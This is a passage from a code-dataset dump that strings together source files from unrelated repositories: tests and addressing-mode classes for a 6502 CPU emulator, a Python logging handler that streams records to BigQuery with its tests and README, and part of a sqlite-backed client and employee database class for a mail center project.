PostIndexedIndirectAddressingMode\nfrom cpu import CPU, CPUFactory, StatusRegister\nfrom opcodes import OpCode\nfrom operations import BRK, ORA, ADC, AND\n\n\nclass CPUFactoryTestCase(TestCase):\n\n def assertOpCode(self, code, address_mode, operation):\n self.assertAddressingMode(code, address_mode)\n self.assertOperation(code, operation)\n\n def assertAddressingMode(self, code, mode):\n opcode = self.get_code(code)\n self.assertIsInstance(opcode.addressing_mode, mode)\n\n def assertOperation(self, code, operation):\n opcode = self.get_code(code)\n self.assertIsInstance(opcode.operation, operation)\n\n def get_code(self, code):\n if code not in self.cpu.opcodes:\n raise KeyError(\"OpCode 0x%s not implemented\" % format(code, \"02x\").upper())\n return self.cpu.opcodes[code]\n\n def setUp(self):\n self.factory = CPUFactory()\n self.cpu = self.factory.create()\n\n def test_create_cpu_returns_a_new_CPU_instance(self):\n self.assertIsInstance(self.cpu, CPU)\n\n def test_new_cpu_instances_should_have_a_StatusRegister(self):\n self.assertIsInstance(self.cpu.p, StatusRegister)\n\n def test_new_cpu_status_register_should_be_initialized(self):\n self.assertEqual(self.cpu.p.value, CPU.INIT_STATUS_REGISTER_VALUE)\n\n def test_brk_opcode_should_have_been_added(self):\n self.assertOpCode(0x0, ImpliedAddressingMode, BRK)\n\n def test_ora_immediate_should_have_been_added(self):\n self.assertOpCode(0x09, ImmediateAddressingMode, ORA)\n\n def test_ora_zero_page_should_have_been_added(self):\n self.assertOpCode(0x05, ZeroPageAddressingMode, ORA)\n\n def test_ora_zero_page_x_indexed_should_have_been_added(self):\n self.assertOpCode(0x15, ZeroPageXIndexedAddressingMode, ORA)\n\n def test_ora_absolute_should_have_been_added(self):\n self.assertOpCode(0x0D, AbsoluteAddressingMode, ORA)\n\n def test_ora_x_indexed_addressing_mode(self):\n self.assertOpCode(0x1D, XIndexedAddressingMode, ORA)\n\n def test_ora_y_indexed_addressing_mode(self):\n self.assertOpCode(0x19, YIndexedAddressingMode, ORA)\n\n def test_ora_pre_indexed_indirect_addressing_mode(self):\n self.assertOpCode(0x01, PreIndexedIndirectAddressingMode, ORA)\n\n def test_ora_post_indexed_indirect_addressing_mode(self):\n self.assertOpCode(0x11, PostIndexedIndirectAddressingMode, ORA)\n\n def test_adc_immediate_addressing_mode(self):\n self.assertOpCode(0x69, ImmediateAddressingMode, ADC)\n\n def test_adc_zero_page_addressing_mode(self):\n self.assertOpCode(0x65, ZeroPageAddressingMode, ADC)\n\n def test_adc_zero_page_x_indexed_addressing_mode(self):\n self.assertOpCode(0x75, ZeroPageXIndexedAddressingMode, ADC)\n\n def test_adc_zero_page_absolute_addressing_mode(self):\n self.assertOpCode(0x6D, AbsoluteAddressingMode, ADC)\n\n def test_adc_x_indexed_addressing_mode(self):\n self.assertOpCode(0x7D, XIndexedAddressingMode, ADC)\n\n def test_adc_y_indexed_addressing_mode(self):\n self.assertOpCode(0x79, YIndexedAddressingMode, ADC)\n\n def test_adc_pre_indexed_indirect_addressing_mode(self):\n self.assertOpCode(0x61, PreIndexedIndirectAddressingMode, ADC)\n\n def test_adc_post_indexed_addressing_mode(self):\n self.assertOpCode(0x71, PostIndexedIndirectAddressingMode, ADC)\n \n def test_and_immediate_should_have_been_added(self):\n self.assertOpCode(0x29, ImmediateAddressingMode, AND)\n\n def test_and_zero_page_should_have_been_added(self):\n self.assertOpCode(0x25, ZeroPageAddressingMode, AND)\n\n def test_and_zero_page_x_indexed_should_have_been_added(self):\n self.assertOpCode(0x35, ZeroPageXIndexedAddressingMode, AND)\n\n def test_and_absolute_should_have_been_added(self):\n self.assertOpCode(0x2D, AbsoluteAddressingMode, AND)\n\n def test_and_x_indexed_addressing_mode(self):\n self.assertOpCode(0x3D, XIndexedAddressingMode, AND)\n\n def test_and_y_indexed_addressing_mode(self):\n self.assertOpCode(0x39, YIndexedAddressingMode, AND)\n\n def test_and_pre_indexed_indirect_addressing_mode(self):\n self.assertOpCode(0x21, PreIndexedIndirectAddressingMode, AND)\n\n def test_and_post_indexed_indirect_addressing_mode(self):\n self.assertOpCode(0x31, PostIndexedIndirectAddressingMode, AND)\n\n\nclass CPUTestCase(TestCase):\n\n def setUp(self):\n self.cpu = CPUFactory().create()\n\n def test_create_cpu(self):\n self.assertEqual(len(CPU().memory), 0xFFFF)\n\n def test_has_accumulator(self):\n self.assertEqual(CPU().a, 0)\n\n def test_has_x(self):\n self.assertEqual(CPU().x, 0)\n\n def test_has_y(self):\n self.assertEqual(CPU().y, 0)\n\n def test_has_pc(self):\n self.assertEqual(CPU().pc, 0x800)\n\n def test_has_empty_stack(self):\n self.assertEqual(CPU().s, 0xFD)\n\n def test_has_status_register(self):\n self.assertIs(CPU().p, None)\n\n def test_get_byte(self):\n cpu = CPU()\n self.assertEquals(cpu.memory[0], cpu.get_byte(0x0))\n\n def test_step_executes_the_next_opcode(self):\n mock_oc = Mock(OpCode)\n mock_oc.code = 0x0\n cpu = CPU()\n cpu.add_opcode(mock_oc)\n cpu.step()\n mock_oc.execute.assert_called_with(cpu)\n\n def test_set_negative_flag(self):\n self.cpu.set_negative_flag(0x80)\n self.assertTrue(self.cpu.is_negative())\n self.cpu.set_negative_flag(0)\n self.assertFalse(self.cpu.is_negative())\n\n def test_set_unset_zero_flag(self):\n self.cpu.set_zero_flag(0)\n self.assertTrue(self.cpu.is_zero())\n self.cpu.set_zero_flag(0x01)\n self.assertFalse(self.cpu.is_zero())\n\n def test_set_unset_carry_flag(self):\n self.assertFalse(self.cpu.has_carried())\n self.cpu.p.set_carry()\n self.assertTrue(self.cpu.has_carried())\n self.cpu.p.unset_carry()\n self.assertFalse(self.cpu.has_carried())\n\n def test_cannot_add_same_opcode_twice(self):\n cpu = CPU()\n mock_opcode = Mock(OpCode)\n mock_opcode.code = 10\n with self.assertRaises(KeyError):\n cpu.add_opcode(mock_opcode)\n cpu.add_opcode(mock_opcode)\n\n def test_cannot_overflow_byte(self):\n cpu = CPU()\n with self.assertRaises(ValueError):\n cpu.set_byte(0x0, 0xFFF)\n\n def test_cannot_underflow_byte(self):\n cpu = CPU()\n with self.assertRaises(ValueError):\n cpu.set_byte(0x0, -0xFFF)\n\n\nclass CPUPowerUpTestCase(TestCase):\n\n def setUp(self):\n self.cpu = CPUFactory().create()\n self.cpu.power_up()\n\n def assertByteEqual(self, address, expected): # pragma: no cover\n try:\n self.assertEqual(self.cpu.memory[address], expected)\n except AssertionError:\n raise AssertionError(\"$%s (%s) != $%s\" % (hex(address), hex(self.cpu.get_byte(address)), hex(expected)))\n\n def test_memory_is_FF(self):\n for address in range(0x7FF):\n if address not in CPU.SPECIAL_ADDRESSES:\n self.assertByteEqual(address, 0xFF)\n\n def test_special_locations_at_power_up(self):\n self.assertByteEqual(0x8, 0xF7)\n self.assertByteEqual(0x9, 0xEF)\n self.assertByteEqual(0xA, 0xDF)\n self.assertByteEqual(0xF, 0xBF)\n\n def test_frame_irq(self):\n self.assertByteEqual(0x4017, 0)\n\n def test_channels_disabled(self):\n self.assertByteEqual(0x4015, 0)\n\n def test_extra_bytes(self):\n for address in range(0x4000, 0x400F):\n self.assertByteEqual(address, 0)\n\n" }, { "alpha_fraction": 0.6137694120407104, "alphanum_fraction": 0.6198263764381409, "avg_line_length": 26.82022476196289, "blob_id": "0d09b9af55f407075b2d300b541d6a3f808b31bf", "content_id": "5d84407f151a60154b375e9dda0ef64c3e04c846", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4953, "license_type": "permissive", "max_line_length": 88, "num_lines": 178, "path": "/emu/addressing.py", "repo_name": "wkmanire/modemu", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom abc import ABCMeta, abstractmethod\n\n\nclass LittleEndianAddress(object):\n\n def __init__(self, low_byte, high_byte):\n self._low = 0\n self._high = 0\n self.low = low_byte\n self.high = high_byte\n\n @property\n def low(self):\n return self._low\n\n @staticmethod\n def _assert_in_byte_range(name, value):\n if value > 0xFF:\n raise ValueError(\"%s byte cannot be greater than 0xFF\" % name)\n if value < 0x00:\n raise ValueError(\"%s byte cannot be less than 0x00\" % name)\n\n @low.setter\n def low(self, value):\n self._assert_in_byte_range(\"low byte\", value)\n self._low = value\n\n @property\n def high(self):\n return self._high\n\n @high.setter\n def high(self, value):\n self._assert_in_byte_range(\"high byte\", value)\n self._high = value\n\n def __repr__(self):\n return \"0x\" + format(self.high, '02x').upper() + format(self.low, '02x').upper()\n\n def __eq__(self, other):\n return self.low == other.low and self.high == other.high\n\n def __gt__(self, other):\n if self.high > other.high:\n return True\n elif self.high == other.high:\n return self.low > other.low\n else:\n return False\n\n def __lt__(self, other):\n if self.high < other.high:\n return True\n elif self.high == other.high:\n return self.low < other.low\n else:\n return False\n\n def __add__(self, other):\n if self.low + other.low > 0xFF:\n new_low = (self.low + other.low) - 0xFF\n new_high = self.high + other.high + 1\n else:\n new_low = self.low + other.low\n new_high = self.high + other.high\n return LittleEndianAddress(new_low, new_high)\n\n def __sub__(self, other):\n if self.low - other.low < 0:\n new_low = 0xFF + (self.low - other.low)\n new_high = self.high - (other.high + 1)\n else:\n new_low = self.low - other.low\n new_high = self.high - other.high\n return LittleEndianAddress(new_low, new_high)\n\n def __int__(self):\n return int(repr(self), 16)\n\n\nclass AddressingMode(object, metaclass=ABCMeta): # pragma: no cover\n\n @abstractmethod\n def get_operand(self, cpu):\n pass\n\n\nclass ImmediateAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n return cpu.read_byte()\n\n\nclass ZeroPageAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n return cpu.get_byte(cpu.read_byte())\n\n\nclass AbsoluteAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n address = LittleEndianAddress(cpu.read_byte(), cpu.read_byte())\n return cpu.get_byte(address)\n\n\nclass ImpliedAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n return None\n\n\nclass AccumulatorAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n return cpu.a\n\n\nclass XIndexedAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n address = LittleEndianAddress(cpu.read_byte(), cpu.read_byte())\n effective_address = int(address) + cpu.x\n return cpu.get_byte(effective_address)\n\n\nclass YIndexedAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n address = LittleEndianAddress(cpu.read_byte(), cpu.read_byte())\n effective_address = int(address) + cpu.y\n return cpu.get_byte(effective_address)\n\n\nclass ZeroPageXIndexedAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n address = LittleEndianAddress(cpu.read_byte(), 0)\n effective_address = int(address) + cpu.x\n return cpu.get_byte(effective_address)\n\n\nclass ZeroPageYIndexedAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n address = LittleEndianAddress(cpu.read_byte(), 0)\n effective_address = int(address) + cpu.y\n return cpu.get_byte(effective_address)\n\n\nclass IndirectAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n address = LittleEndianAddress(cpu.read_byte(), cpu.read_byte())\n low = cpu.get_byte(address)\n high = cpu.get_byte(int(address) + 1)\n return LittleEndianAddress(low, high)\n\n\nclass PreIndexedIndirectAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n address = LittleEndianAddress(cpu.read_byte(), 0)\n effective_address = int(address) + cpu.x\n low = cpu.get_byte(effective_address)\n high = cpu.get_byte(effective_address + 1)\n return LittleEndianAddress(low, high)\n\n\nclass PostIndexedIndirectAddressingMode(AddressingMode):\n\n def get_operand(self, cpu):\n address = LittleEndianAddress(cpu.read_byte(), cpu.read_byte())\n effective_address = int(address) + cpu.y\n low = cpu.get_byte(effective_address)\n high = cpu.get_byte(effective_address + 1)\n return LittleEndianAddress(low, high)\n\n" }, { "alpha_fraction": 0.5596774220466614, "alphanum_fraction": 0.6255760192871094, "avg_line_length": 26.820512771606445, "blob_id": "93300aa48497dd2c9abfe4771f97698e45651817", "content_id": "5459f3b4a12e40d035e1730071d6be84d3e3bc7f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4340, "license_type": "permissive", "max_line_length": 66, "num_lines": 156, "path": "/tests/test_operations.py", "repo_name": "wkmanire/modemu", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\nfrom unittest import TestCase\nfrom unittest.mock import MagicMock\n\nfrom cpu import CPU, CPUFactory\nfrom operations import ORA, BRK, ADC, AND\n\n\nclass BRKTestCase(TestCase):\n\n def test_brk(self):\n mock_cpu = MagicMock(CPU)\n BRK().execute(mock_cpu, None)\n\n\nclass ORATestCase(TestCase):\n\n def setUp(self):\n self.cpu = CPUFactory().create()\n self.ora = ORA()\n\n def test_ora(self):\n self.cpu.a = 0b10101010\n self.ora.execute(self.cpu, 0b01010101)\n self.assertEqual(self.cpu.a, 0b11111111)\n\n def test_ora_sets_negative_flag(self):\n self.cpu.a = 0b10101010\n self.cpu.p.unset_negative()\n self.ora.execute(self.cpu, 0b01010101)\n self.assertTrue(self.cpu.is_negative())\n\n def test_ora_unsets_negative_flag(self):\n self.cpu.a = 0b00000001\n self.cpu.p.set_negative()\n self.ora.execute(self.cpu, 0b000000001)\n self.assertFalse(self.cpu.is_negative())\n\n def test_ora_sets_zero_flag(self):\n self.cpu.a = 0b00000000\n self.cpu.p.set_zero()\n self.ora.execute(self.cpu, 0b000000000)\n self.assertTrue(self.cpu.is_zero())\n\n def test_ora_unsets_zero_flag(self):\n self.cpu.a = 0b00000000\n self.cpu.p.set_zero()\n self.ora.execute(self.cpu, 0b000000001)\n self.assertFalse(self.cpu.is_zero())\n\n\nclass ADCTestCase(TestCase):\n\n def setUp(self):\n self.cpu = CPUFactory().create()\n\n def execute_adc(self, a, operand):\n self.cpu.a = a\n ADC().execute(self.cpu, operand)\n\n def assertCarried(self):\n self.assertTrue(self.cpu.has_carried())\n\n def assertNotCarried(self):\n self.assertFalse(self.cpu.has_carried())\n\n def assertOverflowed(self):\n self.assertTrue(self.cpu.has_overflowed())\n\n def assertNotOverflowed(self):\n self.assertFalse(self.cpu.has_overflowed())\n\n def assertA(self, value):\n self.assertEquals(self.cpu.a, value)\n\n def test_simple_no_carry(self):\n self.execute_adc(0x01, 0x01)\n self.assertA(0x02)\n self.assertNotCarried()\n\n def test_simple_add_carry_bit(self):\n self.cpu.set_carry_flag(1000)\n self.execute_adc(0x01, 0x01)\n self.assertA(0x03)\n\n def test_adc_with_carry(self):\n self.execute_adc(0xFF, 0x01)\n self.assertA(0x00)\n self.assertCarried()\n\n def test_adc_positive_integers_no_carry_and_no_overflow(self):\n self.execute_adc(0x10, 0x10)\n self.assertA(0x20)\n self.assertNotCarried()\n self.assertNotOverflowed()\n\n def test_adc_0x7F_and_0x01(self):\n self.execute_adc(0x7F, 0x01)\n self.assertA(0x80)\n self.assertNotCarried()\n self.assertOverflowed()\n\n def test_adc_0x80_and_0xFF(self):\n self.execute_adc(0x80, 0xFF)\n self.assertA(0x7F)\n self.assertCarried()\n self.assertOverflowed()\n\n def test_adc_0x80_and_0x01(self):\n self.execute_adc(0x80, 0x01)\n self.assertA(0x81)\n self.assertNotCarried()\n self.assertOverflowed()\n\n def test_adc_0x7F_and_0xFF(self):\n self.execute_adc(0x7F, 0xFF)\n self.assertA(0x7E)\n self.assertCarried()\n self.assertOverflowed()\n\n\nclass ANDTestCase(TestCase):\n\n def setUp(self):\n self.cpu = CPUFactory().create()\n self.and_op = AND()\n\n def test_and(self):\n self.cpu.a = 0b11111111\n self.and_op.execute(self.cpu, 0b01010101)\n self.assertEqual(self.cpu.a, 0b01010101)\n\n def test_and_sets_negative_flag(self):\n self.cpu.a = 0b11111111\n self.cpu.p.unset_negative()\n self.and_op.execute(self.cpu, 0b11111111)\n self.assertTrue(self.cpu.is_negative())\n\n def test_and_unsets_negative_flag(self):\n self.cpu.a = 0b00000001\n self.cpu.p.set_negative()\n self.and_op.execute(self.cpu, 0b00000001)\n self.assertFalse(self.cpu.is_negative())\n\n def test_and_sets_zero_flag(self):\n self.cpu.a = 0b11111111\n self.cpu.p.set_zero()\n self.and_op.execute(self.cpu, 0b00000000)\n self.assertTrue(self.cpu.is_zero())\n\n def test_and_unsets_zero_flag(self):\n self.cpu.a = 0b00000001\n self.cpu.p.set_zero()\n self.and_op.execute(self.cpu, 0b00000001)\n self.assertFalse(self.cpu.is_zero())\n" } ]
8
Tagtoo/python-bigquery-logger
https://github.com/Tagtoo/python-bigquery-logger
1d83893f8db13f1600f9bfcd542e79f39a595d3d
a52aa0c80339391b8af145d2ceb76fe4faff1ac5
d4c3dfb9a52cc982f449d880f21b988cc01583f5
refs/heads/master
2020-12-25T10:24:05.341769
2015-04-30T09:16:57
2015-04-30T09:16:57
32,435,316
4
2
null
2015-03-18T03:17:16
2015-03-18T09:54:38
2015-03-18T09:54:38
null
[ { "alpha_fraction": 0.5462092161178589, "alphanum_fraction": 0.5467625856399536, "avg_line_length": 28.129032135009766, "blob_id": "1e30f67197fa989bcfc2ab2fff302c3e08461238", "content_id": "5e75588b51f9d2884719ab61e05e1cc3072c9cf7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1807, "license_type": "no_license", "max_line_length": 81, "num_lines": 62, "path": "/logger_test.py", "repo_name": "Tagtoo/python-bigquery-logger", "src_encoding": "UTF-8", "text": "import unittest\nfrom mock import *\nfrom bigquery_logger import BigQueryClient, BigQueryHandler\n\nclass TestBigqueryLogger(unittest.TestCase):\n\n def setUp(self):\n self.mock_service = Mock()\n self.mock_tabledata = Mock()\n self.mock_service.tabledata.return_value = self.mock_tabledata\n\n self.project_id = 'project_id'\n self.dataset_id = 'dataset_id'\n self.table_id = 'table_id'\n self.record = 'logging record'\n self.body = {\n \"kind\": \"bigquery#tableDataInsertAllRequest\",\n \"rows\": [{\n \"json\": {'logging': self.record}\n }]\n }\n\n def tearDown(self):\n pass\n\n def test_bigquerh_insertall(self):\n self.mock_tabledata.insertAll.return_value.execute.return_value = {\n \"kind\": \"my#tableDataInsertAllResponse\",\n }\n\n import logging\n record = logging.LogRecord(\n name = \"test-name\",\n level = logging.DEBUG,\n pathname = 'test-path-name',\n lineno = 1,\n msg = 'test-msg',\n args = {},\n exc_info = None\n )\n\n handler = BigQueryHandler(\n self.mock_service,\n self.project_id,\n self.dataset_id,\n self.table_id\n )\n handler.handle(record)\n handler.flush()\n\n # this part need to rewrite\n # # self.assertEqual(response, {\"kind\": \"my#tableDataInsertAllResponse\"})\n # self.mock_service.tabledata.assert_called_with()\n # self.mock_tabledata.insertAll.assert_called_with(\n # projectId = self.project_id,\n # datasetId = self.dataset_id,\n # tableId = self.table_id,\n # body = self.body\n # )\n\nif __name__ == '__main__':\n unittest.main()\n\n" }, { "alpha_fraction": 0.8333333134651184, "alphanum_fraction": 0.8333333134651184, "avg_line_length": 35, "blob_id": "e2df55d100702b38cba1968ad74a7cb1ebd97044", "content_id": "7b9b571f95cd1d5ce400f680834d5ac1306c9a01", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 36, "license_type": "no_license", "max_line_length": 35, "num_lines": 1, "path": "/update_schema.sh", "repo_name": "Tagtoo/python-bigquery-logger", "src_encoding": "UTF-8", "text": "bq update tagtoologs.log log.schema\n" }, { "alpha_fraction": 0.675208568572998, "alphanum_fraction": 0.6764004826545715, "avg_line_length": 40.900001525878906, "blob_id": "e8620a4e465de69b0df032c1b4c59791db04d964", "content_id": "bd8988f8fb667f79c2a3c2fb17cecd7cfe85f464", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1678, "license_type": "no_license", "max_line_length": 104, "num_lines": 40, "path": "/README.md", "repo_name": "Tagtoo/python-bigquery-logger", "src_encoding": "UTF-8", "text": "python-bigquery-logger\n==========\n\nstreaming the logger info to bigquery\n\n## Usage\n\nBefore using, set your google api client well, ex: client secrets, in order to import core\n\nPost a message into your BigQuery table specified with project ID, dataset ID, table ID\n\n >>> from py_bigquery_logger import BigQueryClient\n >>> from apiclient.discovery import build # google package\n >>> from google_api_client import core # google package\n >>> http = core.build_http('https://www.googleapis.com/auth/bigquery', 'bigquery')\n >>> service = build('bigquery', 'v2', http=http) \n >>> client = BigQueryClient(service, 'project ID', 'dataset ID', 'table ID')\n >>> client.insertall_message(\"testing, testing...\")\n { \"kind\": \"bigquery#tableDataInsertAllResponse\", \"insertErrors\": [] }\n\n\nIntegrate a BigQueryHandler into your logging!\n\n >>> import logging\n >>> from py_bigquery_logger import BigQueryHandler\n >>> from apiclient.discovery import build # google package\n >>> from google_api_client import core # google package\n >>> http = core.build_http('https://www.googleapis.com/auth/bigquery', 'bigquery')\n >>> service = build('bigquery', 'v2', http=http)\n \n >>> logger = logging.getLogger('test')\n >>> logger.setLevel(logging.DEBUG)\n \n >>> handler = BigQueryHandler(service, 'project ID', 'dataset ID', 'table ID')\n >>> handler.setLevel(logging.WARNING)\n >>> formatter = logging.Formatter('%(asctime)s [%(levelname)s] %(name)s (%(process)d): %(message)s')\n >>> handler.setFormatter(formatter)\n >>> logger.addHandler(handler)\n \n >>> logger.error(\"Oh noh!\") # Will post the formatted message to the specified table\n\n\n" }, { "alpha_fraction": 0.5974510312080383, "alphanum_fraction": 0.6008703708648682, "avg_line_length": 29.93269157409668, "blob_id": "8363de63e38da83fbfe19d919bc0049b55d49672", "content_id": "2d01c82f01eb76ab6b6ea618a4a5d441744a8d7a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3217, "license_type": "no_license", "max_line_length": 171, "num_lines": 104, "path": "/bigquery_logger/__init__.py", "repo_name": "Tagtoo/python-bigquery-logger", "src_encoding": "UTF-8", "text": "import logging\nfrom logging.handlers import BufferingHandler\n\n\nclass BigQueryClient(object):\n\n def __init__(self, service, project_id, dataset_id, table_id):\n self.service = service\n self.project_id = project_id\n self.dataset_id = dataset_id\n self.table_id = table_id\n\n def _make_request(self, method, body):\n \"\"\"Make request to API endpoint\n \"\"\"\n tabledata = self.service.tabledata()\n response = tabledata.insertAll(\n projectId=self.project_id,\n datasetId=self.dataset_id,\n tableId=self.table_id,\n body=body\n ).execute()\n\n return response\n\n def insertall(self, rows):\n \"\"\"\n This method insert rows into BigQuery\n \"\"\"\n method = 'tabledata().insertAll().execute()'\n body = {}\n body['rows'] = [{'json': row} for row in rows]\n body[\"kind\"] = \"bigquery#tableDataInsertAllRequest\"\n return self._make_request(method, body)\n\n def insertall_message(self, text):\n \"\"\"tabledata().insertAll()\n\n This method insert a message into BigQuery\n\n Check docs for all available **params options:\n https://cloud.google.com/bigquery/docs/reference/v2/tabledata/insertAll\n \"\"\"\n return self.insertall([{'logging': text}])\n\n\ndef get_default_service():\n from oauth2client import client\n from apiclient.discovery import build\n import httplib2\n\n credentials = client.GoogleCredentials.get_application_default()\n http = credentials.authorize(httplib2.Http())\n service = build('bigquery', 'v2', http=http)\n\n return service\n\nclass BigQueryHandler(BufferingHandler):\n \"\"\"A logging handler that posts messages to a BigQuery channel!\n\n References:\n http://docs.python.org/2/library/logging.html#handler-objects\n \"\"\"\n\n def __init__(self, service, project_id, dataset_id, table_id, capacity=200):\n super(BigQueryHandler, self).__init__(capacity)\n\n if service == \"default\":\n service = get_default_service()\n\n self.client = BigQueryClient(service, project_id, dataset_id, table_id)\n\n fields = {'created', 'filename', 'funcName', 'levelname', 'levelno', 'module', 'name', 'pathname', 'process', 'processName', 'relativeCreated', 'thread', 'threadName'}\n\n def mapLogRecord(self, record):\n temp = { key: getattr(record, key) for key in self.fields }\n if record.exc_info:\n temp[\"exc_info\"] = {\n \"type\": unicode(record.exc_info[0]),\n \"value\": unicode(record.exc_info[1])\n }\n\n if hasattr(record, 'tags'):\n temp[\"tags\"] = [unicode(k) for k in record.tags]\n\n temp[\"client\"] = self.name\n temp[\"message\"] = self.format(record)\n return temp\n\n def flush(self):\n \"\"\"\n Override to implement custom flushing behaviour.\n\n This version just zaps the buffer to empty.\n \"\"\"\n self.acquire()\n try:\n if self.buffer:\n self.client.insertall(self.mapLogRecord(k) for k in self.buffer)\n self.buffer = []\n except Exception as e:\n pass\n finally:\n self.release()\n" } ]
4
espence105/MailCenterFinalProject
https://github.com/espence105/MailCenterFinalProject
6287e6ae55e0d2ca1e3debb2ac01d5baf643878c
d35fbc5f37662621b9e395bc51dee8a8562a291d
ed7c42c3d8ae3e1fab2c81cb5b854ec4d057e2ab
refs/heads/master
2020-12-30T10:36:43.683917
2014-12-02T06:41:39
2014-12-02T06:41:39
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.533584475517273, "alphanum_fraction": 0.5355081558227539, "avg_line_length": 35.057804107666016, "blob_id": "0bd1e9d8ba112db62c5d30b048044237b30565ef", "content_id": "5247666488b36d953d274a2dee03641a11c17da3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12476, "license_type": "permissive", "max_line_length": 273, "num_lines": 346, "path": "/dataBase.py", "repo_name": "espence105/MailCenterFinalProject", "src_encoding": "UTF-8", "text": "# Group Project #\n# Purpose: Provide database functionality # \n\n\nimport sqlite3 as lite\nimport sys\n\nclass DataBase(object):\n\n #Initialize the Database Object. Object has no data members\n def __init__(self):\n pass\n\n \n def insert_client(self, client_info):\n \"\"\" Inserts a new row into the client table. Method is passed a tuple that\n contains necessary information for database. Uses SQLite statement\n to insert data. Will revert database to pre-query state if insert\n fails. \"\"\"\n #Connect to database. Will also create new database if it does not exist.\n con = lite.connect('clientDB2.db')\n try:\n with con:\n cur = con.cursor()\n #Create the client table if it does not already exist\n cur.execute('CREATE TABLE IF NOT EXISTS client(fName TEXT NOT NULL, lName TEXT NOT NULL, studentID TEXT NOT NULL, email TEXT NOT NULL, forwardingAddress TEXT NOT NULL, city TEXT NOT NULL, state TEXT NOT NULL, zipCode TEXT NOT NULL, gradDate TEXT NOT NULL)')\n\n cur.executemany('INSERT INTO client VALUES(?,?,?,?,?,?,?,?,?)', (client_info,))\n con.commit()\n \n return True\n except lite.Error, e:\n #Revert database to previous stable state if insert fails\n if con:\n con.rollback()\n return False\n \n #print \"Error %s:\" % e.args[0]\n #sys.exit(1)\n\n finally:\n #Close connection\n if con:\n con.close()\n\n \n\n def update_client(self, update_info):\n \"\"\" Attempts to update client info. Method is passed a tuple containing\n updatable information (email, address, city, state, zip code), as\n well as the student ID to find the user in the database. Reverts\n database to pre-update state if query fails. \"\"\"\n \n #Connect to database. Will also create new database if it does not exist.\n con = lite.connect('clientDB2.db')\n try:\n with con:\n cur = con.cursor()\n #Create the client table if it does not already exist\n cur.execute('CREATE TABLE IF NOT EXISTS client(fName TEXT NOT NULL, lName TEXT NOT NULL, studentID TEXT NOT NULL, email TEXT NOT NULL, forwardingAddress TEXT NOT NULL, city TEXT NOT NULL, state TEXT NOT NULL, zipCode TEXT NOT NULL, gradDate TEXT NOT NULL)')\n \n cur.executemany('UPDATE client SET email=?, forwardingAddress=?, city=?, state=?, zipCode=? WHERE studentID = ?', (update_info,))\n\n cur.execute('SELECT * FROM client WHERE studentID = ?', (update_info[5],))\n row = cur.fetchone()\n return row\n \n except lite.Error, e:\n if con:\n con.rollback()\n \n return False\n \n #print \"Error %s:\" % e.args[0]\n #sys.exit()\n\n finally:\n #Close connection\n if con:\n con.close()\n \n def select_client(self, client_id):\n\n \"\"\" Attempts to pull client info from the database. Method is passed the\n user's student ID and pulls their info with a SEELCT statement. \"\"\"\n \n #Connect to database. Also creates a new database if it does not exist.\n con = lite.connect('clientDB2.db')\n\n try:\n with con:\n cur = con.cursor()\n #Create the client table if it does not already exist\n cur.execute('CREATE TABLE IF NOT EXISTS client(fName TEXT NOT NULL, lName TEXT NOT NULL, studentID TEXT NOT NULL, email TEXT NOT NULL, forwardingAddress TEXT NOT NULL, city TEXT NOT NULL, state TEXT NOT NULL, zipCode TEXT NOT NULL, gradDate TEXT NOT NULL)')\n\n cur.execute('SELECT * FROM client WHERE studentID = ?', (client_id,))\n\n row = cur.fetchone()\n return row\n \n except lite.Error, e:\n if con:\n con.rollback()\n \n return False\n #print \"Error %s:\" % e.args[0]\n #sys.exit()\n\n finally:\n #Close connection\n if con:\n con.close()\n \n def delete_client(self, delete_info):\n\n \"\"\" Attempts to delete a row from the client table. Takes user's student\n ID and removes the associated row. Reverts database to pre-query state\n if delete fails. To be used only by mail center. \"\"\"\n \n #Connects to database. Creates a new one if it does not exist.\n con = lite.connect('clientDB2.db')\n try:\n with con:\n \n #Create the client table if it does not already exist\n cur.execute('CREATE TABLE IF NOT EXISTS client(fName TEXT NOT NULL, lName TEXT NOT NULL, studentID TEXT NOT NULL, email TEXT NOT NULL, forwardingAddress TEXT NOT NULL, city TEXT NOT NULL, state TEXT NOT NULL, zipCode TEXT NOT NULL, gradDate TEXT NOT NULL)')\n\n \n cur = self.con.cursor()\n cur.execute('DELETE FROM client WHERE studentID == ?', (delete_info,))\n con.commit()\n return True\n \n except lite.Error, e:\n if con:\n con.rollback()\n \n return False\n #print \"Error %s:\" % e.args[0]\n #sys.exit()\n\n finally:\n #Close connection\n if con:\n con.close()\n\n\n def insert_employee(self, employee_username):\n \"\"\" Allows a new employee to be added to the database for verification\n purposes. Attempts to insert username of employee. Reverts database\n to pre-query state if insert fails. Only to be used by mail center\"\"\"\n\n #Connect to database. Creates a new one if it does not exits.\n con = lite.connect('clientDB2.db')\n print len(employee_username)\n try:\n if len(employee_username) == 0:\n return 'fail'\n \n else:\n with con:\n\n #Create the employee table if it does not exist\n cur = con.cursor()\n cur.execute('CREATE TABLE IF NOT EXISTS employee(username TEXT NOT NULL)')\n\n \n cur.execute('INSERT INTO employee VALUES (?)', (employee_username,))\n con.commit()\n return True\n except lite.Error, e:\n if con:\n con.rollback()\n \n return 